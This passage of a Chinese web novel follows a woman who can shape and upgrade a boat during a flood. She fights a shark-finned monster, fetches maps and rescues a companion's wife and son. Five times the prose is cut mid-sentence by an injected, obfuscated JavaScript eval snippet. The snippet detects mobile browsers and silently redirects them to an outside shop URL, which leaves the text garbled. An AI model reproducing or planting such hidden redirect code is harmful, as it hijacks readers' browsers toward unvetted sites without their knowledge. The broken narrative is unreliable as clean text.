另外两人却不清楚具体情况，萧顺清突如其来的身体不适让她们都很害怕。 如果是病得很严重，说句现实的话，她们也是会有生命危险的。 萧顺清分不出心神来解释，她正在全力抵抗耳鸣和头晕想吐。 苏凤晚：“我就说我们应该去搜集药品的！再不济可以拿到止痛药啊！” “先不说药店的情况，水下本来就难以辨物，更别说让我们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571683|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种非专业人士认药名。如果随便拿些药回来，根本不认识也不知道正确用途，那也是白费功夫。” 高民语气不是很好，显然此时他的心焦可能比苏凤晚还要多。 他极力表现自己，就是想多争取留在船上的机会，如果运气好，说不定还能去找他的家人。 现在萧顺清身体不适，他做什么都没用。 “简单的药你不认识吗？感冒灵，止痛片，很常见的药谁都认识吧。” 高民质问：“现在船还不远，你要下去看看吗？看看药店开没开门，药柜锁没锁上，你能不能在水下睁开眼，看不看得清楚手里拿的什么东西？你不下水，就不要质疑我们去哪里找物资。” 苏凤晚其实也不是不理解，但她不想服从高民，比起高民，无论萧顺清说什么她都会听。 这其实也是萧顺清更愿意看到的局面。 她可不想船上另外两个人相亲相爱，就算船是她的主场，但两个人联合找她麻烦她也难受。 一男一女是最好的配置。 女性在这样的情况下会偏向亲近同为女性的自己，更别说自己还掌控着这条船，而如果全是女性，又很容易会产生另外两人结盟的情况。 两个男性则更不可取，萧顺清一个女性完全不占优势。 两男两女或许也可行。不过，先前她拉上船的那个男人，说是为了家人，但站在萧顺清的立场并不想原谅。 她能够理解那样的心情，但不代表愿意舍己为人。 高民和苏凤晚，可以说也是她的最佳选择。 她和高民有一层先前的关系，而苏凤晚现在也有一张好牌——她有异能。 看似三足鼎立，而她则可以是两方都稳定的盟友。 这对于萧顺清来说，才是最佳平衡。 两个人现在因为位置有限矛盾较深。 但她事先认识高民，相对来说，她心里当然相信熟悉的人。 而比较陌生的苏凤晚，她刚刚没有趁机对高民的绳子做手脚，想来并不容易起害人的心思。 吵就吵吧，需要打破这一局面的时候她自然会打破，但现在，这样正好。 船还在开着，速度甚至没有多减缓。 “往左！”右边有一棵被冲倒的巨树，几乎横了半个河面。 高民和苏凤晚分别看着左右，提醒着萧顺清。 “树边好像有人，树挡着他们的帐篷，一时半会儿洪水冲不走。” 她们也管不了这些，只是随口说说了。 然而意外突发，看着右边的苏凤晚余光瞟到什么，猛然回头惊道： “萧顺清！再开快点！后面有东西追我们！” 5. 战斗 萧顺清耳鸣还没好，这都快十分钟了，她觉得再不好可能就是真聋了。 但她听见让她加速，也别无办法，只能再往自己的极限试探，努力提速。 高民被苏凤晚的叫声提醒，同样回头看去，一根鲨鱼背鳍一样的东西在水面上飞快的游动，很明显，这东西水下的块头不小。 “是鲨鱼吗？！” “内陆怎么会有鲨鱼？”苏凤晚不是不信，就是害怕得反问而已，毕竟那东西确实很像鲨鱼的背鳍。 “我们之前，不是还看见那个人脸的怪物吗……说不定，说不定水下什么生物都有，水涨起来它们就浮上来了。” 苏凤晚几乎是哭着喊道：“萧顺清，你还好吗？还能再快点吗？它要追上来了！” 萧顺清真的不太好。她怀疑是不是自己感觉错了，耳鸣和难受其实都是因为刚刚在水下被感染了。 从症状出现至今，大约十分钟，越来越难受，两人提醒的声音都像是隔了一层被单，仿若轰鸣。 然而水面上的情况更糟糕了。 苏凤晚频频回头去看，嗓音里带着哭腔，她只是个普通人，对这这接二连三的恐怖危机感到害怕。 高民看着后面速度越来越快的不明水下生物，明明坐着，却两股战战。 萧顺清深吸一口气，闭上眼，像是使出全身力气，船的速度猛然又提升一大截。 距离拉开了。 两人欢喜又害怕地给她加油鼓劲，终于吗，幸运眷顾，高民看见一栋露出水面的建筑，z市交通局，到了。 眼看见交通局的标志露出水面，二人齐齐惊喜叫出声，萧顺清听闻也抬头看了一眼。 经过刚刚的奋力逃命，她感觉全身都开始疼，对比之下，头痛和耳鸣好像更能忍受了。 她换了个姿势，保持速度问到：“那东西还在吗？” 苏凤晚回头看去：“大概两百米，我们怎么办？” “现在进交通局可行吗？我们去了肯定也要下水，水底下可就危险多了。”高民忧虑地分析。 萧顺清也知道现在的情况。 她感觉自己身体渐渐在好转，放心不少。 回头看了一眼那鱼鳍的位置，估算着自己的力量能开多快，做好决定：“拿绳子当安全带，固定好自己跟物资，杀了它！” 不杀就没办法进交通局，她们花了这么长时间，临到门口却进不去就是白费功夫。 还不如搏一搏，这就是萧顺清的想法。 高民嘴唇在哆嗦：“你疯了吗？我们怎么可能打得过这么大的水生动物？这里都是它的主场！” 苏凤晚颤抖着拿起刀，嘴唇发白，祈求似地盯着萧顺清。 “东西还不够，菜刀太短了。” 萧顺清没有理会高民的劝阻和苏凤晚的哀求眼神，但是她很满意苏凤晚虽然害怕但仍旧听从她的命令选择拿起武器，可能听她的话对苏凤晚来说就是唯一的出路。 高民闭嘴，他阻止不了萧顺清，或者说他没有别的办法。 人类总是趋利避害的，但如果被逼到绝境，也会迎头直上，所谓柳暗花明许多时候都是人类自己奋斗出来的转机。 看出他的服从，萧顺清点点头：“好，我现在开船，你们负责把飘在水里的树枝或者能搬动的树干抬上来，做成武器。” 这一回就是溜着那大鱼兜圈，一路上专往有合适粗细树枝的水面撞，而后面两人则眼疾手快抓住就不松手。 苏凤晚将木头一头砍尖，突然想起来什么：“我们捡这些东西不会超重吗？” 或许加上树枝就超过一个人的重量了，她也不知道萧顺清的船承受上限是依据什么算的。 萧顺清在这样焦灼的局面中宣告了一个好消息：“不用担心，我升级了。” 两个人喜出望外，这真是算绝境中的胡萝卜。 萧顺清升级了，意味着她能够载更多人，是不是意味着……往后她找到亲人她们也不需要下船？ 这会儿，她们信心倍增，如果是刚刚，她们可能就以为是萧顺清让她们送死去。 毕竟最后船不够承载，她们依旧会被赶下去。 如果萧顺清胁迫她们去送死为她自己攒一条生路，那她们最后一定会死。 现在好了，两个人动作加快不少。萧顺清一片坚定的神情和自信的话语让他们不由自主升起信心。 “做好了。” 总共八条简易长矛，粗细不一，但最小也有成人腕口粗，很结实，矛头被削得尖尖的。 “好。”萧顺清也拿起一根握在手里，二人照做。 萧顺清让船缓缓静止，趴在左边船边上，身下的船发出些声响，砰砰改变着形态。 左边的船沿缓缓加高，右边稍稍扩大了一些，增高程度就不如另一边。就像是一艘战船，有着抵挡攻击的屏障。 她们蜷缩着，露出头看着水面上离她们越来越近的东西。 就只有一米的距离，他们终于看清了这水下生物的真实模样。 它的确长着鲨鱼鳍，水底下却是有着四足的鳄鱼形态，身形大约比他们现在的船大小还要壮上一圈。 怪物猛然撞击船体！船晃晃悠悠，几欲翻身！ “捅它！”三个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571684|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面目狰狞，不管身处何地，依托着有船身阻挡奋力向水下刺去。 “皮太厚！我明明捅到了！它不流血！”苏凤晚似乎感觉到自己刺中，但是怪物似乎没有受伤。 “它没有弱点吗？”高民深思。 萧顺清当机立断：“你们捅它眼睛！我刺它鱼鳍！” 怪物又撞上来，似乎不将船掀翻不罢休。她们瞄准时机又是一顿猛刺，高民使的那根矛断掉，他又立马换另一根，不敢停。 鱼鳍上的皮就没有鱼身那么坚硬，萧顺清疯狂扎同一个地方，终于扎出一个血眼。 怪物吃痛，似乎要发狂。 高民却又刺中了它的眼睛，眼睛可比鱼皮脆弱得多，尖尖的矛猛地插入一大截，大约有十几厘米，这回怪物不是生气发狂了，而是拼命挣扎起来，试图摆脱毁了它眼睛的东西。 近处的水掀起一阵阵浪，萧顺清双手握着矛，再次向怪物受伤的地方发起攻击，高民奋力控制着鱼，但他好像要被拽下船去了，他寻求帮助：“快，帮我抓住它！” 苏凤晚奋力一跃，大半个身子离开船，瞄得准准的，于是另一根木矛也捅瞎了它的眼睛。 与此同时，萧顺清的木矛，贯穿了怪物的鱼鳍，直直的破开手掌厚的鱼鳍，像是针扎进布料里。 “快，松开！苏凤晚抓住另一边！” 她们两个女人的站位分别在两边，高民被分到中间的位置，此时苏凤晚听从命令，控制住贯穿鱼鳍的另一边长矛。 而高民，也放开了原本那根木矛。 不用萧顺清再说，他也知道换上另外的木矛捅在鱼身各处。 在一边眼睛里，都塞着两根腕口粗的木条。 手下挣扎的力道小了，直至消弭。 三人瘫坐在船内，苏凤晚和萧顺清手仍旧把持着木头，没有放下。 左边高高凸起的船沿缓缓降下，船身顺势扩大些许，原先撑在上方的顶棚绷得直直的，狭小的船已经不算拥挤。 “死了。”感受着手底下灰败的宁静，萧顺清宣告这场人与怪物的战斗结束了，终究是船上的生物活了下来。 “松，松手吗？”苏凤晚脸色苍白，嘴唇颤抖。 “我们开到岸边，把它扔上岸。”水里不知是否还有别的动物，这样血淋淋一具鱼尸可能会引来“鱼群”。 萧顺清操控船向左岸前进，水面仿佛一条新生的大河，河岸宽数十米，深不见底。岸边，倒也不算岸边，但好歹还露出来。 三人合力搬动怪物尸体，都下了船。 “苏凤晚留下，挖坑埋了，我和高老师去交通局。” 6. 坚持 交通局在对岸，这里比较空旷，但水还在上涨，不知道什么时候这边岸就被淹了。 这里并不安全，不如一条人为操控的船，水涨船高。 没有人想要离开此时的船，但萧顺清这么说了…… 苏凤晚拿着工具，没有异议：“好。” 船飞速向着交通局进发。 这里地势没有多高，建筑物也不算多，水最先淹没，人群也是最先撤离的。 建筑物里寥无人烟，门窗被冲垮，轻轻一撞便应声而破。水泡汩汩上涌，像是人在垂死前的求救。 萧顺清和高民头上蒙着自制塑料头盔，没办法完全阻止浑浊的水，但勉强能睁眼视物。 交通局把本市地图挂在墙上，大大小小的辖区甚至街道都分明，铁路分布图本应放置在桌面或者柜中。 萧顺清却在地上找到了它，不知是撤离时弄丢了还是被水冲刷出来。 幸运的是地图有塑封，她们将两份地图小心翼翼装进塑料袋，以免其收到上升时的水流压迫又掉下去。 两人的行动很顺利，浑身湿透也没什么大不了，反正这也是常态。 船往对岸驶去，两人轻手轻脚展开两份地图进行晾晒。 苏凤晚看见两人，挥了挥手：“还没埋上。” 大雨没日没夜的冲刷，土壤都泡透了汁水，苏凤晚就这一会儿挖的已经算是一个大坑。 工具不太够，三个人轮流接着挖。 “接下来我们要先往东北走，那里会有比较高的立交桥，能够确定方位。” 高民对比着两份地图，对着正在挖坑的萧顺清说。 萧顺清反问：“直走东北？” “应该是，这条路线地势普遍偏低，船肯定能行驶。沿路也会有一些楼房标志性建筑，在水没淹没的情况下是能够辨认方向的。” 苏凤晚发言：“我们一开始不是说在西北吗，来一趟交通局不至于大方向都换了吧。” 萧顺清目光投向高民，眼睛里同样的掩藏不住的怀疑。 毕竟高民才是本市人，如果拿到地图想要拐弯……比如回一趟自己家找人，她也不知该作何感想。 同样都是救家人，易地而处，她不可能希望别人就铁石心肠完全不顾家人生命安全。 但是，现如今的情况，她绝对不会改变自己的目的。 高民被两道质疑的目光锁定，有些慌神，他语速极快的解释道：“大方向是西北没错，但是从方向辨认、路程遥远以及是否通行这些因素来讲，我们的确要先向东北出发，经过跨市立交桥，才正式踏入Z市辖区，从桥往西北，也是一条沿途都有地标建筑的路，这才是最优解。” 萧顺清冷冷地开口：“那些因素里，包括你要救你的家人吗？” 高民颤抖着嘴唇，祈求着：“如果，如果在途中，你的异能升级了，可以容纳更多的人，可以……可以救救他们吗？” 萧顺清的话还没说出口，被他急急打断，他的语速快得像是在击鼓：“只有我的老婆和孩子！他们只有两个人，如果再升级一次，应该可以承受对吗？求你了萧顺清！求求你，求求你！” “那要是在那之前我并没有升级呢？” 高民像是被这句话抽取全身力气，像一条死鱼一样坐在船上：“如果没有升级，那也，也拜托去一趟吧，我留在那里……” 如果不能同生，那就共死吗，萧顺清别开脸，继续手底的活，不做言语，也算是一种默许。 她不知道自己现在的决定是不是正确的。 如果高民的亲人还在，并且她们顺利上了船，那高民那边的权重就是三人，她不得不考虑剩下的苏凤晚。 所以，就算是升级了，她也不太可能留下那些人。 而在考虑苏凤晚的更深一层，那就是她在考虑自己的生命安全。 最坏的地步—— 以双方鱼死网破为代价，高民一家为了船的主导权宁愿豁出性命，得不到就杀了她，那她几乎没有胜算。 萧顺清用力刨出一大盆土，也放下了心里的胡思乱想，做好了决断。 手上速度加快，苏凤晚也一言不发，空气中无时无刻不笼罩着僵持的气氛。 解决完一桩事，谁也没再多说一句话。 船，沿着东北的水流方向，急速前行。 这是一栋居民楼。大城市建筑都很密集，他们驶着船，按照高民的路线来到这里，但不得不说这里挤满了人。 河道里也飘满了救生用品，萧顺清抬眼看向船上唯一的男人：“找得到吗？” 高民乌黑着嘴唇，手摩挲着船舷：“……”半响，他摇了摇头。 他家在三楼，早就被淹没了。 如果妻儿还在，肯定在那些包裹严实的救生物品里，她们要找就要靠近人群，萧顺清和苏凤晚都不会同意的。 她们不应该惹麻烦。 萧顺清从鼻腔里呼出一口气，船身偏转方向，向着她们约定的方向走。 就这一小会儿，那边的人群已经看见他们了。隔着滔滔的洪水呼救的声音几乎盖过雷声。 萧顺清不想听，甚至开始想，为什么总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571685|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有人求救，她明明都不确定自己是不是能活下来，哪有能力救人。 高民不说话，苏凤晚也不说话。 船开着，但不知道为什么，船的速度就像是随波逐流，飘荡着，一点也不快。 苏凤晚敲了敲盆，她的声音低低的，丝毫不敢抬头看，说出的话好像已经在心里轮转了几个来回，轻轻的声线好像又期盼着别人听不见： “可以喊一喊，有人追上来就走，要找吗？” 沉默了一瞬，高民惊喜地看着萧顺清，萧顺清看了看苏凤晚，只看见她挣扎地埋下头，只留一个棕黑头顶面对两人。 可能她刚说出口就后悔了。 但是船没有开动，萧顺清冰冷的声音在船上响起：“要找就赶紧，别浪费时间。” 高民语速极快：“我老婆叫柳梅，儿子叫高嘉涛。” 话是苏凤晚说出口的，她没有再收回那一句代表支持的话。 “柳梅！！！高嘉涛！！！” “柳梅！！！” “高嘉涛！！！” 除了萧顺清，两个人都喊起来，而萧顺清紧盯着河面，注意着试图靠近的人。 小船打着转，呼喊声大约响了三分钟。 萧顺清估算时间，离她们从学校出发，现在一个小时左右：“再等两分钟，我靠近点，注意看人。” 萧顺清驱使着船开向人群，仍旧远远隔着三四米。 但很久了，没有任何准确的回复。高民垂着头，放弃了。苏凤晚看了一眼，眼里闪过一丝轻松。 萧顺清没有什么表情，一双明亮眼睛看着人群，船像汽车一样绕着人群打转：“一个不知道算不算好消息的消息。我要升级了。” 两人同时抬头看她，萧顺清布下任务：“你们帮我看好距离，不能有任何意外。我就在这里升级。” 这变相延长了高民寻找亲人的时间，高民重重点头。 萧顺清要升级了，可能正好能再装两个人，苏凤晚暂时没有想到坏处，也点头应好。 浑黄的水不断卷起波涛，一艘如浮叶的小船躲开了一个又一个漩涡不停地打着转。 船上，用帐篷防水布做的简易斗篷里，一个男人和一个女人的声音，不断的呼喊着两个名字。 而在船头，人们看不见的位置，一个脸色苍白的女人，坚毅的脸上不知流下的是汗珠还是雨水，闭着眼睛，正和体内翻涌的疼痛做着斗争。 拥挤的居民楼。 一个中年女人紧紧拉着一个年轻男人的手，惶惶的脸上是一双渐渐麻木的眼睛。 7. 善心 “妈？你渴吗？” 柳梅摇摇头，过了两秒，像是好不容易才反应过来，扯了扯嘴角：“你喝吧，也省着点喝。” 她们的水不多了，现在所有人都挤在顶楼，只有顶楼是勉强安全的地方。 所有的东西都被丢弃，她们搬不了更多东西，整栋楼的人都在往上跑，要真等她们收拾完所有东西，楼上都没有她们二人的立足之地了。 所以，两人都只有一个背包，背包里装着水和吃的。 高嘉涛把水放回去，打开手机看了看，还是无信号：“爸他，还是没消息。” 柳梅浑浊的眼眶里一下子涌出两颗豆大的泪水，滚烫滚烫，像是再也撑不住了，身体瘫软的靠着儿子，哭着骂所有人。 骂高民，骂老天，然后连自己也骂。 没有人不在心里咒骂的，拥挤的楼道里，哭泣声和怨怼声渐渐和楼外的雨声混在一起，听也听不清。 终于，楼下的水漫上来了，不知道过了多久，她们没有看见水，却看见了楼下的人头拼命的往上挤着，所有人都明白，楼下，至少又被淹了一层。 挤压，疼痛，踩踏，高嘉涛和母亲柳梅死死拉住对方，才总算没有被疯狂的人群冲散。 巨大的一声铁门落地的声音，通往天台的路，开了。 一窝蜂的，像是出巢的鱼群，从楼梯口挤出来。 雨水打在脸上，天台积了没过脚踝的水，无纪律的人群失去理智地涌入天台，所有人像是被水泡过一样。 高嘉涛和柳梅被挤到边缘，围栏结实的挡在腰部，但是高嘉涛个子不矮，看着摇摇欲坠，十分危险。 楼下的水位不知道在哪里，要是不小心掉下去，恐怕不是被水淹死的，而是摔死的。 边缘的人手撑着围栏，抵抗着推搡的人群。 有人正面对着楼外，疑惑道：“那是什么，船吗？” 不少人直接认出那是一艘小船，大声的呼救着，要不是隔着天堑一样的鸿沟，或许就会像下饺子一样纷纷落水。 柳梅被儿子挡在中间，也能往外看一眼，果然是船。 明明只有几米的距离，但那是多么遥远，那是生的希望，但不是她们的。 她颤抖着嘴，因为看见了希望但清晰的知道那不属于自己而又绝望，失神的看着河面：“是船，一艘船。” 高嘉涛勉强扭头过去，他的视力极好，的确，那是一艘船。 正在水面上盘旋着，并没有向前开，也并不随着水的方向行驶。 “高……！柳……！” 高嘉涛不知道是不是自己听错了，竟然隐隐觉得那声音是在叫他和母亲，而那道声音也那么耳熟，像是父亲高民的声音。 “妈，妈？你能不能听出来，那是不是爸的声音。” 他小声在柳梅耳边说到。 柳梅听见这句话，眼神渐渐凝聚，惊疑不定的看了一眼儿子，得到一个肯定的眼神之后，当真屏息凝神去听。一声高过一声的求救声中，她终于听出来了！ 是的……是的！是她老公高民的声音！还有一个女人的声音，都在叫她和儿子的名字！ 几乎是听清的下一刻，她张嘴就要回应对方，高嘉涛阻止了她。 “妈，我们跳下去。” 高嘉涛暗自扫过周围所有的人。 那艘船太小了，他听到了至少有两个人的声音，上面有高民，并且上面的其他成员至少也是同意他和母亲上船，不然不会还有人帮父亲叫人。 但是那船那么小，一旦，引起了别人的注意，让这里的人发现，她们之中可能有人会率先获救，这高高的天台，不知道还能不能有她们的暂时容身之地。 而那艘小船不开过来，也很容易理解，这里有这么多人，但凡是有人想要抢船，上面的人估计是不可能有胜算的。 所以，最优解就是，他和母亲一起游过去，脱离这栋楼的范围，然后上船。 只要他和母亲都没听错，那就是活路。 柳梅慢慢噤了声，屏住呼吸，随着儿子一起调整位置。 然后，两人一跃而下。 汹涌的波涛里，两个弱小的人类身影与洪水做着斗争。原本高嘉涛有一定的信心。 他是市游泳队的，体力不错，那艘船看着远，其实是因为天台到水面有一定的高度，实际距离应该只有几米。 但是洪水是那么湍急，高嘉涛奋力的与水位对抗，身后，竟然还有扑通扑通的落水声，有人跟着她们一起下来了。 只有上船，只有比所有人先上船才能活。 仅仅四米，像是一条通天大河，高嘉涛终于在一次抬头时和高民对上了视线。 浑黄的河水和天上的雨水模糊了他的视线，但他清晰地看见父亲那一瞬间脸上迸发的惊喜。 “小涛！梅梅！” 高民探出了大半个身子，努力的向两人伸出手，始终差那么一点点，而萧顺清现在失去了意识，船还在小幅度的转着圈，几乎快要越来越远，高民咬着牙几乎只剩小腿钩住了船，自己都不稳，还在拼命的伸出手。 “快！快抓住！” 船很稳，但经不起还有浪，他和船的接触面积又太小，身子猛地晃荡，他终于抓住了儿子的手，老婆也被儿子拽住，但是自己却掉了出去！ 他要是掉下水……现在是上不了船的！ 萧顺清这一次升级格外痛苦，已经失去意识，他要是掉下船，没有萧顺清的同意根本回不去！ 难不成，他找到了妻子和儿子，却只能跟他们一起死在水里吗？明明，明明都近在咫尺了…… 肩膀一紧， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571686|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏凤晚用力拽住他的衣服，并且努力地想要抓牢他整个手臂。 高民的整个身子都已经泡在水里了，儿子老婆一人拽住一边，好歹离船近了些，稍微能够抵挡住洪流。 苏凤晚一个人几乎要拽住三个人，实在是吃力，最后不得不整个人趴在船上，降低重心并且加大自己和船的接触面积，努力保持三个人都不完全落水。 “船抓不住。”高嘉涛不知道眼前是什么情况，但是高民一定知道。 “再坚持一会儿，等她醒了，我们就得救了……谢谢你，苏凤晚。” 他郑重地向苏凤晚道谢，明明，只要不管他，这船上空空荡荡，绝对不会让她有被赶下船的风险。 甚至，他是自己掉下船的，她就算是不救他，高民也怪不了任何人。 他相信萧顺清也不会指责苏凤晚，但是她还是救了……就在那一瞬间，用尽全身力气，把他的命，还有他家人的命，救了下来。 苏凤晚用自己的肩膀抵住船沿，涨红了脸，憋着一股气，告诉自己，萧顺清快醒了，快醒了，就再坚持一会儿，一会儿就好。 雨从未停歇，苏凤晚感觉到肩膀的剧烈疼痛，她快要坚持不住了。这像是被两股力量分尸的痛苦，几乎真的要把她分成两半。可是她现在松手，不仅人没救上来，肩膀的伤还白受了，这样的疼痛感，似乎早就脱臼了。 再坚持一会儿……苏凤晚，数十个数，要是萧顺清没醒，你就松手，没事的，你尽力了…… 不知是疼的还是别的原因，苏凤晚呜咽起来，和生与死之间的三个水里的人相比，她的挣扎竟然一点也不少。 苏凤晚不知道自己数了几个数，终于，她听见了萧顺清那天籁般的声音。 “上来，快。” 一瞬间，苏凤晚脱了力，双手无力地搭在水中，肩膀处的骨头断开一般。 在水中的三人，终于得到允许，上了船。 萧顺清抱住苏凤晚，来到船头放了背包的位置，这里相对软和，她把人放好，看见苏凤晚苍白的脸，连刚刚从升级中醒过来的她都比不上。 再看两条胳膊，已经没法动弹了。 萧顺清沉默着，苏凤晚失去了意识，船上的高家人也静默无声着，新加了成员的船上，竟然一丝劫后余生的喜悦也没有。 或许有，但是看见这样的状况，没有一个有良心的人会在此刻庆祝活了下来。 “你们会接骨吗？” 萧顺清没有责怪谁的心思，只是似乎也没有那么关心受伤的苏凤晚，语气只是随便问问。 当得到否认的答复，萧顺清便又回去沉默的开着船。 水越涨越快，船却在洪流中越行越快，避开一个个被水流卷过来的障碍物，比之前又增大一圈的船在暴风雨中飘飘荡荡又坚定地前行着。 8. 恶念 “我，我可以试试。” 所有人的目光汇聚到高嘉涛身上，因为刚刚他说自己可以试试。 高嘉涛今年刚十八岁，看着并不怎么具有令人信服的能力。 但是在场的两个是他的父母，一个则看着对苏凤晚并不关心。 在三人默许下，高嘉涛尝试着为苏凤晚装回手臂。 一声脆响，伴随着一声哀嚎。 苏凤晚醒了，被疼醒的。 “你是谁！” 刚醒的一瞬间，苏凤晚还没认出来，过了两秒才意识到这是刚刚她们救的高民一家人。 “你脱臼了，我帮你装上。” 苏凤晚闻言活动一下胳膊，但是两边都很痛，也不知道究竟哪边是脱臼了。 高嘉涛：“你两边都脱臼了……” 苏凤晚欲哭无泪，咬着牙道：“我会接，你，你听我指挥。” 众人这才知道她会些医术。 萧顺清也同样好奇：“你是医生？” 苏凤晚艰难给自己固定，道：“不，我只是有个医生朋友。” 萧顺清又问：“你之前提到朋友不知道去哪儿了，就是这个朋友？” “嗯。” 虽然仅仅两句话，苏凤晚却觉得奇怪。 萧顺清一直很冷淡，怎么忽然对她的事这么感兴趣。 她坐直，压低的目光飞速扫过那边抱团的一家三口。 好像猜到了萧顺清现在对自己“热情”的原因。 但看透了，不意味着她要说破。 这是个好事，萧顺清的亲近对她来说有好处。 在这艘船上，萧顺清的态度决定了一切，在另外一方势力的驱使下，萧顺清需要“壮大”苏凤晚的势力，才不会打破她想要的平衡。 苏凤晚当然赞同这个做法。 如此一来，这条船上隐隐分为两派。 高民一家，萧顺清和苏凤晚两人。 见另外两个女人低声交谈，柳梅担忧地抓紧丈夫的手。 高民也同样无能为力，只能将手放在她后背，表示安慰。 这一趟的行程目的还没有结束。 因为船上多了人，自然需要补给物品。 只是附近的超市都被淹了，落难的人又很多，她们不好再下水搜寻物资，徒惹麻烦。 萧顺清命令所有人在水面上搜寻背包。 被溺死的人很多，水面上飘荡着许多无主的背包。 她们新进的速度很快，一艘船上的无人渐渐也有了默契。 出了萧顺清负责专心把控方位，不让船被人或者其他物品撞上，另外四人各守一方，将触手可及的背包捞到船上。 船上没有无限空间，所以物品留存需要筛选。 打开背包检查，食物和水是第一位。 尽管苏凤晚有净化水的能力，但高民三人还是不能完全信任她，经由她们一家搜寻的物资，水都留了下来。 第二位是药品。 应急背包都防水，也有不少人搜寻了药品，如今都完好无损。 药品的重要性无需多言，有条件的情况下自然是多囤一些。 其次便是日用品和工具。 这两样东西都是看着不急需，但没有会难受的种类。当下有条件，自然也是要囤一些的。 其他的，又笨重又占地方的，譬如有人背包里还塞了电脑，虽然没进水，但如今电能基本宣告无效，自然是先丢掉。 高嘉涛还有些不舍：“要是以后有机会弄到发电机呢？电脑能做的事应该更多吧。” “通讯都断了，你觉得还有网络给你用？没有网络的电脑还有哪点比得过手机，打人更疼吗？” 怼他的自然是苏凤晚，但她话糙理不糙，柳梅安慰的默默儿子的脸，让他把电脑扔下去。 终于驶出人群密集区，水面上再看不见物资，也不用再避开人行驶。 清点过物资，不得不说，所有人看着那些堆得成小山的物资，心中都是前所未有的安定。 这是满足人类基本需求的安全感。 有了地图，萧顺清的目标更加明确，升级之后，船行进的速度更加快，但这艘船却没有什么颠簸感。 平稳快速的形式带来雨水的拍打。 之前遮雨的船篷在船体变大后被拉扯得矮小。 在场除了高嘉涛以外，都还算是能够忍受。 但高嘉涛学游泳，身高一米九往上，就算是佝偻着背坐在船篷里，也将布料撑出头的形状。 “我们能不能加高一下船顶？” 高民看向萧顺清，得到了肯定的答复。 于是两两一组，各自将之前搜刮到的防水布料拆分缝合。 人在这样的小船上很难站直，因为萧顺清开得很快，迎面的冲击力就能将人推倒。 加高船篷之后，阻挡了一部分风力，她们的活动也更自如。 天慢慢黑了。 大暴雨持续如此久，人们已经许久未见过太阳，乌云也厚得几乎遮住一切光亮。 但夜晚更加可怖。 那是漆黑的夜空，水面和天空好像连为一体，人们被困在一个水球中，只等着水灌满了整个球体，她们逃无可逃。 晚上的温度降低，白天未干的雨水变得刺骨，但这还不是最主要的。 所有人都沉默着，没有说话，但脸都憋得通红。 最后，是高嘉涛忍不住了。 “我，我能不能到船尾那……上个厕所。” 没错，人的生理需求还包括这些。 一天了，再怎么没吃喝也有排泄的需求。 随着高嘉涛的打破，在场的人都感觉自己更加忍受不住。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571687|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可是人在人群中就会戴上礼义廉耻的面具，没办法毫无顾忌的当着其他人的面解决这件事。 萧顺清也沉默了一会儿才道： “稍等。” 随着她说完，船尾的地方似乎又发生了改变，不一会儿，四面挡着的小隔间升起，前面还有个小门。 “顶上用防水布做个顶，进去小心，地下有洞。” 这个话题还是怪尴尬的，但是有了一个独立的卫生间之后，船上的生活质量再次提高。 久违的安心让她们恍惚有种在家中的安详，在大雨拍打着雨棚的声音里，她们蜷缩在一起，汲取着彼此之间的温度。 天地间只剩下雨水的声音。 萧顺清回头，看见所有人都睡着了。 她打了一个哈欠，调整自己的姿势，也渐渐睡了过去。 